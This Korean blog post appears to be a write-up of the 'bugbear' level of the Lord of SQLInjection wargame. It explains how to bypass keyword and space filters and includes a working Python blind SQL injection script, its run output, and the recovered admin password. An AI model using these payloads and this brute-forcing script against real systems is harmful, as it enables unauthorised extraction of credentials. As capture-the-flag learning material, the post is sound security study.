문제의 소스 코드입니다.
바로 이전 문제인 darkknight 문제의 응용입니다.
and, or, 공백, like를 필터링하고 있습니다.
이전 문제에서 작성했던 파이썬 코드에서 필터링되는 문자를 우회해야 합니다.
or => ||
and => %26%26
추가로 or을 필터링하므로 ord 함수를 사용할 수 없어서 char 함수를 사용해 문자 간 비교 연산을 해줍니다.
import requests
host = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
cookie = {'PHPSESSID' : ''}
pw_len = 0
while True:
pw_len += 1
print(pw_len,end='')
query = f'?no=0||%09id%09in%09("admin")%09%26%26%09length(pw)<{pw_len}'
re = requests.get(f"{host}{query}",cookies=cookie)
if 'Hello admin' in re.text:
pw_len -= 1
print(f' length: {pw_len}')
break
pw = ''
for i in range(pw_len):
for k in range(48,128):
print(chr(k),end='')
query = f'?no=0||%09id%09in%09("admin")%09%26%26%09mid(pw,{i+1},1)%09<%09char({k})'
re = requests.get(f"{host}{query}",cookies=cookie)
if 'Hello admin' in re.text:
k -= 1
print(f' [{i+1}] {chr(k)}')
pw += chr(k)
break
print(f'[pw] {pw}')
mid(pw,{i},1)<char({k})을 보면
pw에서 한 문자씩 가져와서 k를 ascii문자로 변환해 비교 연산 해줍니다.
같아지는 순간 Hello admin이 나오지 않을 것이고 해당 문자가 pw의 값입니다.
123456789 length: 8
0123456 [1] 5
0123 [2] 2
0123456789:;<=>?@ABCDE [3] D
0123456789:;<=>?@ABCD [4] C
01234 [5] 3
0123456789: [6] 9
0123456789: [7] 9
012 [8] 1
[pw] 52DC3991
실행 결과 pw 값을 알아냈습니다.
해당 값을 url로 던져주면
문제가 풀립니다.
이해가 잘 안되신다면 이전 문제 라이트업을 참고하세요!
https://ssongkit.tistory.com/83
'write-up(web) > LOS' 카테고리의 다른 글
[Lord of SQLInjection] assassin write-up (0) | 2022.07.31 |
---|---|
[Lord of SQLInjection] giant write-up (0) | 2022.07.31 |
[Lord of SQLInjection] darkknight write-up (0) | 2022.07.31 |
[Lord of SQLInjection] golem write-up (0) | 2022.07.30 |
[Lord of SQLInjection] skeleton write-up (0) | 2022.07.30 |